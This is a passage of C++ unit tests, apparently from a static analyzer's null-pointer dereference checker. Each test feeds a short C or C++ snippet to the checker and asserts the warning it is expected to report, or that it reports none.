{\\n\"\n \" if (c->g() == 0)\\n\"\n \" ;\\n\"\n \" A *aq = c;\\n\"\n \" if (c->g() == 0)\\n\"\n \" c = c->f();\\n\"\n \" if (c)\\n\"\n \" for (A *d = c; d != aq; d = d->f()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A* g() const;\\n\"\n \" A* h() const;\\n\"\n \"};\\n\"\n \"bool i(A*);\\n\"\n \"void f(A* x) {\\n\"\n \" if (i(x->g())) {\\n\"\n \" A *y = x->g();\\n\"\n \" x = x->g()->h();\\n\"\n \" if (x && x->g()) {\\n\"\n \" y = x->g()->h();\\n\"\n \" }\\n\"\n \" if (!y) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer65() {\n check(\"struct A {\\n\"\n \" double get();\\n\"\n \"};\\n\"\n \"double x;\\n\"\n \"double run(A** begin, A** end) {\\n\"\n \" A* a = nullptr;\\n\"\n \" while (begin != end) {\\n\"\n \" a = *begin;\\n\"\n \" x = a->get();\\n\"\n \" ++begin;\\n\"\n \" }\\n\"\n \" x = 0;\\n\"\n \" if (a)\\n\"\n \" return a->get();\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer66() {\n check(\"int f() {\\n\"\n \" int ret = 0;\\n\"\n \" int *v = nullptr;\\n\"\n \" if (!MyAlloc(&v)) {\\n\"\n \" ret = -1;\\n\"\n \" goto done;\\n\"\n \" }\\n\"\n \" DoSomething(*v);\\n\"\n \"done:\\n\"\n \" if (v)\\n\"\n \" MyFree(&v);\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer67() {\n check(\"int result;\\n\"\n \"\\n\"\n \"int test_b(void) {\\n\"\n \" char **string = NULL;\\n\"\n \"\\n\"\n \" /* The bug disappears if \\\"result =\\\" is omitted. */\\n\"\n \" result = some_other_call(&string);\\n\"\n \" if (string && string[0])\\n\"\n \" return 0;\\n\"\n \" return -1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int result;\\n\"\n \"\\n\"\n \"int test_b(void) {\\n\"\n \" char **string = NULL;\\n\"\n \"\\n\"\n \" some_other_call(&string);\\n\"\n \" if (string && string[0])\\n\"\n \" return 0;\\n\"\n \" return -1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer68() {\n check(\"struct A {\\n\"\n \" A* b;\\n\"\n \"};\\n\"\n \"void f(A* c) {\\n\"\n \" c = c->b;\\n\"\n \" if (c->b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A* b;\\n\"\n \"};\\n\"\n \"void f(A* c) {\\n\"\n \" A* d = c->b;\\n\"\n \" A *e = c;\\n\"\n \" while (nullptr != (e = e->b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer69() {\n check(\"void f(const Scope *scope) {\\n\"\n \" if (scope->definedType) {}\\n\"\n \" while (scope) {\\n\"\n \" scope = scope->nestedIn;\\n\"\n \" enumerator = scope->findEnumerator();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12] -> [test.cpp:5:22]: (warning) Either the condition 'scope' is redundant or there is possible null pointer dereference: scope. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(const Scope *scope) {\\n\"\n \" if (scope->definedType) {}\\n\"\n \" while (scope && scope->nestedIn) {\\n\"\n \" if (scope->type == Scope::eFunction && scope->functionOf)\\n\"\n \" scope = scope->functionOf;\\n\"\n \" else\\n\"\n \" scope = scope->nestedIn;\\n\"\n \" enumerator = scope->findEnumerator();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12] -> [test.cpp:8:22]: (warning) Either the condition 'scope' is redundant or there is possible null pointer dereference: scope. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"struct a {\\n\"\n \" a *b() const;\\n\"\n \" void c();\\n\"\n \"};\\n\"\n \"void d() {\\n\"\n \" for (a *e;;) {\\n\"\n \" e->b()->c();\\n\"\n \" while (e)\\n\"\n \" e = e->b();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer70() {\n check(\"struct Token {\\n\"\n \" const Token* nextArgument() const;\\n\"\n \" const Token* next() const;\\n\"\n \" int varId() const;\\n\"\n \"};\\n\"\n \"int f(const Token *first, const Token* second) {\\n\"\n \" first = first->nextArgument();\\n\"\n \" if (first)\\n\"\n \" first = first->next();\\n\"\n \" if (second->next()->varId() == 0) {\\n\"\n \" second = second->nextArgument();\\n\"\n \" if (!first || !second)\\n\"\n \" return 0;\\n\"\n \" } else if (!first) {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return first->varId();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Token {\\n\"\n \" const Token* nextArgument() const;\\n\"\n \" const Token* next() const;\\n\"\n \" int varId() const;\\n\"\n \" void str() const;\"\n \"};\\n\"\n \"void f(const Token *first) {\\n\"\n \" first = first->nextArgument();\\n\"\n \" if (first)\\n\"\n \" first = first->next();\\n\"\n \" first->str();\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:8] -> [test.cpp:10]: (warning) Either the condition 'first' is redundant or there is possible null pointer dereference: first.\\n\",\n \"\",\n errout_str());\n }\n\n void nullpointer71() {\n check(\"void f() {\\n\"\n \" Device* dev = Get();\\n\"\n \" SetCount(dev == nullptr ? 0 : dev->size());\\n\"\n \" if (dev)\\n\"\n \" DoSomething(dev);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Device* dev = Get();\\n\"\n \" SetCount(dev != nullptr ? dev->size() : 0);\\n\"\n \" if (dev)\\n\"\n \" DoSomething(dev);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer72() { // #10215\n check(\"int test() {\\n\"\n \" int* p0 = nullptr, *p1 = nullptr;\\n\"\n \" getFoo(p0);\\n\"\n \" getBar(p1);\\n\"\n \" if (!(p0 != nullptr && p1 != nullptr))\\n\"\n \" return {};\\n\"\n \" return *p0 + *p1;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test2() {\\n\"\n \" int* p0 = nullptr;\\n\"\n \" if (!(getBaz(p0) && p0 != nullptr))\\n\"\n \" return 0;\\n\"\n \" return *p0;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test3() {\\n\"\n \" Obj* PObj = nullptr;\\n\"\n \" if (!(GetObj(PObj) && PObj != nullptr))\\n\"\n \" return 1;\\n\"\n \" if (!PObj->foo())\\n\"\n \" test();\\n\"\n \" PObj->bar();\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer73() {\n check(\"void f(bool flag2, int* ptr) {\\n\"\n \" bool flag1 = true;\\n\"\n \" if (flag2) {\\n\"\n \" if (ptr != nullptr)\\n\"\n \" (*ptr)++;\\n\"\n \" else\\n\"\n \" flag1 = false;\\n\"\n \" }\\n\"\n \" if (flag1 && flag2)\\n\"\n \" (*ptr)++;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool flag2, int* ptr) {\\n\"\n \" bool flag1 = true;\\n\"\n \" if (flag2) {\\n\"\n \" if (ptr != nullptr)\\n\"\n \" (*ptr)++;\\n\"\n \" else\\n\"\n \" flag1 = false;\\n\"\n \" }\\n\"\n \" if (!flag1 && flag2)\\n\"\n \" (*ptr)++;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17] -> [test.cpp:10:11]: (warning) Either the condition 'ptr!=nullptr' is redundant or there is possible null pointer dereference: ptr. [nullPointerRedundantCheck]\\n\", errout_str());\n }\n\n void nullpointer74() {\n check(\"struct d {\\n\"\n \" d* e();\\n\"\n \"};\\n\"\n \"void g(d* f) {\\n\"\n \" do {\\n\"\n \" f = f->e();\\n\"\n \" if (f) {}\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct d {\\n\"\n \" d* e();\\n\"\n \"};\\n\"\n \"void g(d* f, int i) {\\n\"\n \" do {\\n\"\n \" i--;\\n\"\n \" f = f->e();\\n\"\n \" if (f) {}\\n\"\n \" } while (i > 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:8:9] -> [test.cpp:7:9]: (warning) Either the condition 'f' is redundant or there is possible null pointer dereference: f. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"struct d {\\n\"\n \" d* e();\\n\"\n \"};\\n\"\n \"void g(d* f, int i) {\\n\"\n \" do {\\n\"\n \" i--;\\n\"\n \" f = f->e();\\n\"\n \" if (f) {}\\n\"\n \" } while (f && i > 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer75() {\n check(\"struct a {\\n\"\n \" a *b() const;\\n\"\n \" void c();\\n\"\n \" int d() const;\\n\"\n \"};\\n\"\n \"void e(a *x) {\\n\"\n \" while (x->b()->d() == 0)\\n\"\n \" x->c();\\n\"\n \" x->c();\\n\"\n \" if (x->b()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer76()\n {\n check(\"int* foo(int y) {\\n\"\n \" std::unique_ptr x = std::make_unique(0);\\n\"\n \" if( y == 0 )\\n\"\n \" return x.release();\\n\"\n \" (*x) ++;\\n\"\n \" return x.release();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer77()\n {\n check(\"bool h(int*);\\n\"\n \"void f(int* i) {\\n\"\n \" int* i = nullptr;\\n\"\n \" if (h(i) && *i == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool h(int*);\\n\"\n \"void f(int* i) {\\n\"\n \" int* i = nullptr;\\n\"\n \" if (h(i))\\n\"\n \" if (*i == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool h(int*);\\n\"\n \"void f(int* x) {\\n\"\n \" int* i = x;\\n\"\n \" if (h(i))\\n\"\n \" i = nullptr;\\n\"\n \" if (h(i) && *i == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer78() // #7802\n {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int **pp;\\n\"\n \" int *p = 0;\\n\"\n \" pp = &p;\\n\"\n \" **pp = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:6]: (error) Null pointer dereference: *pp [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer79() // #10400\n {\n check(\"void resize(size_t nF, size_t nT) {\\n\"\n \" double* pValues = nullptr;\\n\"\n \" if (nF > 0 && nT > 0)\\n\"\n \" pValues = new double[nF * nT];\\n\"\n \" for (size_t cc = 0; cc < nF * nT; ++cc)\\n\"\n \" pValues[cc] = 42;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer80() // #10410\n {\n check(\"int f(int* a, int* b) {\\n\"\n \" if( a || b ) {\\n\"\n \" int n = a ? *a : *b;\\n\"\n \" if( b )\\n\"\n \" n++;\\n\"\n \" return n;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer81() // #8724\n {\n check(\"void f(A **list) {\\n\"\n \" A *tmp_List = NULL;\\n\"\n \" *list = NULL;\\n\"\n \" while (1) {\\n\"\n \" if (*list == NULL) {\\n\"\n \" tmp_List = malloc (sizeof (ArchiveList_struct));\\n\"\n \" *list = tmp_List;\\n\"\n \" } else {\\n\"\n \" tmp_List->next = malloc (sizeof (ArchiveList_struct));\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer82() // #10331\n {\n check(\"bool g();\\n\"\n \"int* h();\\n\"\n \"void f(int* ptr) {\\n\"\n \" if (!ptr) {\\n\"\n \" if (g())\\n\"\n \" goto done;\\n\"\n \" ptr = h();\\n\"\n \" if (!ptr)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" if (*ptr == 1)\\n\"\n \" return;\\n\"\n \"\\n\"\n \"done:\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer83() // #9870\n {\n check(\"int* qux();\\n\"\n \"int* f7c2(int *x) {\\n\"\n \" int* p = 0;\\n\"\n \" if (nullptr == x)\\n\"\n \" p = qux();\\n\"\n \" if (nullptr == x)\\n\"\n \" return x;\\n\"\n \" *p = 1;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:4]: (warning) Possible null pointer dereference: p [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer84() // #9873\n {\n check(\"void f(std::unique_ptr P) {\\n\"\n \" A *RP = P.get();\\n\"\n \" if (!RP) {\\n\"\n \" P->foo();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:4:5]: (warning) Either the condition '!RP' is redundant or there is possible null pointer dereference: P. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer85() // #10210\n {\n check(\"struct MyStruct {\\n\"\n \" int GetId() const {\\n\"\n \" int id = 0;\\n\"\n \" int page = m_notebook->GetSelection();\\n\"\n \" if (m_notebook && (m_notebook->GetPageCount() > 0))\\n\"\n \" id = page;\\n\"\n \" return id;\\n\"\n \" }\\n\"\n \" wxNoteBook *m_notebook = nullptr;\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" const MyStruct &s = Get();\\n\"\n \" return s.GetId();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:11] -> [test.cpp:4:18]: (warning) Either the condition 'm_notebook' is redundant or there is possible null pointer dereference: m_notebook. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer86()\n {\n check(\"struct A {\\n\"\n \" A* a() const;\\n\"\n \" int b() const;\\n\"\n \"};\\n\"\n \"A* f(A* t) {\\n\"\n \" if (t->b() == 0) {\\n\"\n \" return t;\\n\"\n \" }\\n\"\n \" return t->a();\\n\"\n \"}\\n\"\n \"void g(A* t) {\\n\"\n \" t = f(t->a());\\n\"\n \" if (!t->a()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer87() // #9291\n {\n check(\"int f(bool b, int* x) {\\n\"\n \" if (b && x == nullptr)\\n\"\n \" return 0;\\n\"\n \" else if (!b && x == nullptr)\\n\"\n \" return 1;\\n\"\n \" else if (!b && x != nullptr)\\n\"\n \" return *x;\\n\"\n \" else\\n\"\n \" return *x + 1;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:6:22] -> [test.cpp:9:17]: (warning) Either the condition 'x!=nullptr' is redundant or there is possible null pointer dereference: x. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void f(int n, int* p) {\\n\"\n \" int* r = nullptr;\\n\"\n \" if (n < 0)\\n\"\n \" return;\\n\"\n \" if (n == 0)\\n\"\n \" r = p;\\n\"\n \" else if (n > 0)\\n\"\n \" r = p + 1;\\n\"\n \" *r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer88() // #9949\n {\n check(\"struct S { char **ppc; };\\n\"\n \"int alloc(struct S* s) {\\n\"\n \" char** ppc = malloc(4096);\\n\"\n \" if (ppc != NULL) {\\n\"\n \" s->ppc = ppc;\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" struct S* s = malloc(sizeof(struct S));\\n\"\n \" if (!s) return;\\n\"\n \" s->ppc = NULL;\\n\"\n \" if (alloc(s))\\n\"\n \" s->ppc[0] = \\\"\\\";\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer89() // #10640\n {\n check(\"typedef struct {\\n\"\n \" int x;\\n\"\n \"} foo_t;\\n\"\n \"typedef struct {\\n\"\n \" foo_t *y;\\n\"\n \"} bar_t;\\n\"\n \"void f(bar_t *ptr) {\\n\"\n \" if(ptr->y->x)\\n\"\n \" if(ptr->y != nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:9:19] -> [test.cpp:8:11]: (warning) Either the condition 'ptr->y!=nullptr' is redundant or there is possible null pointer dereference: ptr->y. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"bool argsMatch(const Token *first, const Token *second) {\\n\" // #6145\n \" if (first->str() == \\\")\\\")\\n\"\n \" return true;\\n\"\n \" else if (first->next()->str() == \\\"=\\\")\\n\"\n \" first = first->nextArgument();\\n\"\n \" else if (second->next()->str() == \\\"=\\\") {\\n\"\n \" second = second->nextArgument();\\n\"\n \" if (second)\\n\"\n \" second = second->tokAt(-2);\\n\"\n \" if (!first || !second) {\\n\"\n \" return !first && !second;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:10:13] -> [test.cpp:2:9]: (warning) Either the condition '!first' is redundant or there is possible null pointer dereference: first. [nullPointerRedundantCheck]\\n\"\n \"[test.cpp:10:13] -> [test.cpp:4:14]: (warning) Either the condition '!first' is redundant or there is possible null pointer dereference: first. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer90() // #6098\n {\n check(\"std::string definitionToName(Definition *ctx)\\n\"\n \"{\\n\"\n \" if (ctx->definitionType()==Definition::TypeMember)\\n\" // possible null pointer dereference\n \" {\\n\"\n \" return \\\"y\\\";\\n\"\n \" }\\n\"\n \" else if (ctx)\\n\" // ctx is checked against null\n \" {\\n\"\n \" if(ctx->definitionType()!=Definition::TypeMember)\\n\"\n \" {\\n\"\n \" return \\\"x\\\";\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return \\\"unknown\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:7:12] -> [test.cpp:3:7]: (warning) Either the condition 'ctx' is redundant or there is possible null pointer dereference: ctx. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer91() // #10678\n {\n check(\"void f(const char* PBeg, const char* PEnd) {\\n\"\n \" while (PEnd != nullptr) {\\n\"\n \" const int N = h(PEnd);\\n\"\n \" PEnd = g();\\n\"\n \" const int Length = PEnd == nullptr ? 0 : PEnd - PBeg;\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer92()\n {\n check(\"bool g(bool);\\n\"\n \"int f(int* i) {\\n\"\n \" if (!g(!!i)) return 0;\\n\"\n \" return *i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(bool);\\n\"\n \"int f(int* i) {\\n\"\n \" if (!g(!i)) return 0;\\n\"\n \" return *i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer93() // #3929\n {\n check(\"int* GetThing( ) { return 0; }\\n\"\n \"int main() {\\n\"\n \" int* myNull = GetThing();\\n\"\n \" *myNull=42;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Null pointer dereference: myNull [nullPointer]\\n\", errout_str());\n\n check(\"struct foo {\\n\"\n \" int* GetThing(void) { return 0; }\\n\"\n \"};\\n\"\n \"int main(void) {\\n\"\n \" foo myFoo;\\n\"\n \" int* myNull = myFoo.GetThing();\\n\"\n \" *myNull=42;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (error) Null pointer dereference: myNull [nullPointer]\\n\", errout_str());\n\n check(\"struct T { bool g() const; };\\n\"\n \"void f(T* p) {\\n\"\n \" if (!p)\\n\"\n \" return;\\n\"\n \" while (p->g())\\n\"\n \" p = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (warning) Possible null pointer dereference: p [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer94() // #11040\n {\n check(\"struct entry { struct entry* next; size_t len; };\\n\"\n \"void f(struct entry **kep, size_t slen) {\\n\"\n \" while (*kep)\\n\"\n \" kep = &(*kep)->next;\\n\"\n \" *kep = (struct entry*)malloc(sizeof(**kep));\\n\"\n \" (*kep)->next = 0;\\n\"\n \" (*kep)->len = slen;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:6]: (warning) If memory allocation fails, then there is a possible null pointer dereference: *kep [nullPointerOutOfMemory]\\n\", errout_str());\n }\n\n void nullpointer95() // #11142\n {\n check(\"void f(std::vector& v) {\\n\"\n \" for (auto& p : v)\\n\"\n \" if (*p < 2)\\n\"\n \" p = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer96()\n {\n check(\"struct S {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"S *create_s();\\n\"\n \"void test() {\\n\"\n \" S *s = create_s();\\n\"\n \" for (int i = 0; i < s->x; i++) {\\n\"\n \" if (s->x == 17) {\\n\"\n \" s = nullptr;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if (s) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer97() // #11229\n {\n check(\"struct B { virtual int f() = 0; };\\n\"\n \"struct D : public B { int f() override; };\\n\"\n \"int g(B* p) {\\n\"\n \" if (p) {\\n\"\n \" auto d = dynamic_cast(p);\\n\"\n \" return d ? d->f() : 0;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer98() // #11458\n {\n check(\"struct S { double* d() const; };\\n\"\n \"struct T {\\n\"\n \" virtual void g(double* b, double* d) const = 0;\\n\"\n \" void g(S* b) const { g(b->d(), nullptr); }\\n\"\n \" void g(S* b, S* d) const { g(b->d(), d->d()); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer99() // #10602\n {\n check(\"class A\\n\"\n \"{\\n\"\n \" int *foo(const bool b)\\n\"\n \" {\\n\"\n \" if(b)\\n\"\n \" return nullptr;\\n\"\n \" else\\n\"\n \" return new int [10];\\n\"\n \" }\\n\"\n \"public:\\n\"\n \" void bar(void)\\n\"\n \" {\\n\"\n \" int * buf = foo(true);\\n\"\n \" buf[2] = 0;\" // <<\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:14:9]: (error) Null pointer dereference: buf [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer100() // #11636\n {\n check(\"const char* type_of(double) { return \\\"unknown\\\"; }\\n\"\n \"void f() {\\n\"\n \" double tmp = 0.0;\\n\"\n \" const char* t = type_of(tmp);\\n\"\n \" std::cout << t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer101() // #11382\n {\n check(\"struct Base { virtual ~Base(); };\\n\"\n \"struct Derived : Base {};\\n\"\n \"bool is_valid(const Derived&);\\n\"\n \"void f(const Base* base) {\\n\"\n \" const Derived* derived = dynamic_cast(base);\\n\"\n \" if (derived && !is_valid(*derived) || base == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer102()\n {\n check(\"struct S { std::string str; };\\n\" // #11534\n \"struct T { S s; };\\n\"\n \"struct U { T t[1]; };\\n\"\n \"void f(const T& t, const U& u, std::string& str) {\\n\"\n \" if (str.empty())\\n\"\n \" str = t.s.str;\\n\"\n \" else\\n\"\n \" str = u.t[0].s.str;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer103()\n {\n check(\"struct S {\\n\" // #10572\n \" int f();\\n\"\n \" int* m_P{};\\n\"\n \"};\\n\"\n \"int S::f() {\\n\"\n \" if (!m_P) {\\n\"\n \" try {\\n\"\n \" m_P = new int(1);\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return *m_P;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int* p, const int* q) {\\n\" // #11873\n \" if (*q == -1)\\n\"\n \" *p = 0;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" int x = -2;\\n\"\n \" f(nullptr, &x);\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:3:10]: (warning) Possible null pointer dereference: p [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer104() // #13881\n {\n check(\"using std::max;\\n\"\n \"void f(int i) {\\n\"\n \" const size_t maxlen = i == 1 ? 8 : (std::numeric_limits::max());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer105() // #13861\n {\n check(\"struct AB { int a; int b; };\\n\"\n \"namespace ns { typedef AB S[10]; }\\n\"\n \"void foo(void) {\\n\"\n \" ns::S x = {0};\\n\"\n \" x[1].a = 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer_addressOf() { // address of\n check(\"void f() {\\n\"\n \" struct X *x = 0;\\n\"\n \" if (addr == &x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct X *x = 0;\\n\"\n \" if (addr == &x->y.z[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"typedef int Count;\\n\" // #10018\n \"#define offsetof(TYPE, MEMBER) ((Count) & ((TYPE*)0)->MEMBER)\\n\"\n \"struct S {\\n\"\n \" int a[20];\\n\"\n \"};\\n\"\n \"int g(int i) {\\n\"\n \" return offsetof(S, a[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointerSwitch() { // #2626\n // extracttests.start: char *do_something();\n check(\"char *f(int x) {\\n\"\n \" char *p = do_something();\\n\"\n \" switch (x) {\\n\"\n \" case 1:\\n\"\n \" p = 0;\\n\"\n \" case 2:\\n\"\n \" *p = 0;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return p;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:7:10]: (warning) Possible null pointer dereference: p [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer_cast() {\n check(\"char *nasm_skip_spaces(const char *p) {\\n\" // #4692\n \" if (p)\\n\"\n \" while (*p && nasm_isspace(*p))\\n\"\n \" p++;\\n\"\n \" return p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* origin) {\\n\" // #11449\n \" char* cp = (strchr)(origin, '\\\\0');\\n\"\n \" if (cp[-1] != '/')\\n\"\n \" *cp++ = '/';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer_castToVoid() { // #3771\n check(\"void f () {\\n\"\n \" int *buf; buf = NULL;\\n\"\n \" buf;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer_subfunction() {\n check(\"int f(int* x, int* y) {\\n\"\n \" if (!x)\\n\"\n \" return;\\n\"\n \" return *x + *y;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(nullptr, nullptr);\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check if pointer is null and the dereference it\n void pointerCheckAndDeRef() {\n check(\"void foo(char *p) {\\n\"\n \" if (!p) {\\n\"\n \" }\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:6]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" if (p && *p == 0) {\\n\"\n \" }\\n\"\n \" printf(\\\"%c\\\", *p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:19]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" if (p && *p == 0) {\\n\"\n \" } else { *p = 0; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:15]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void 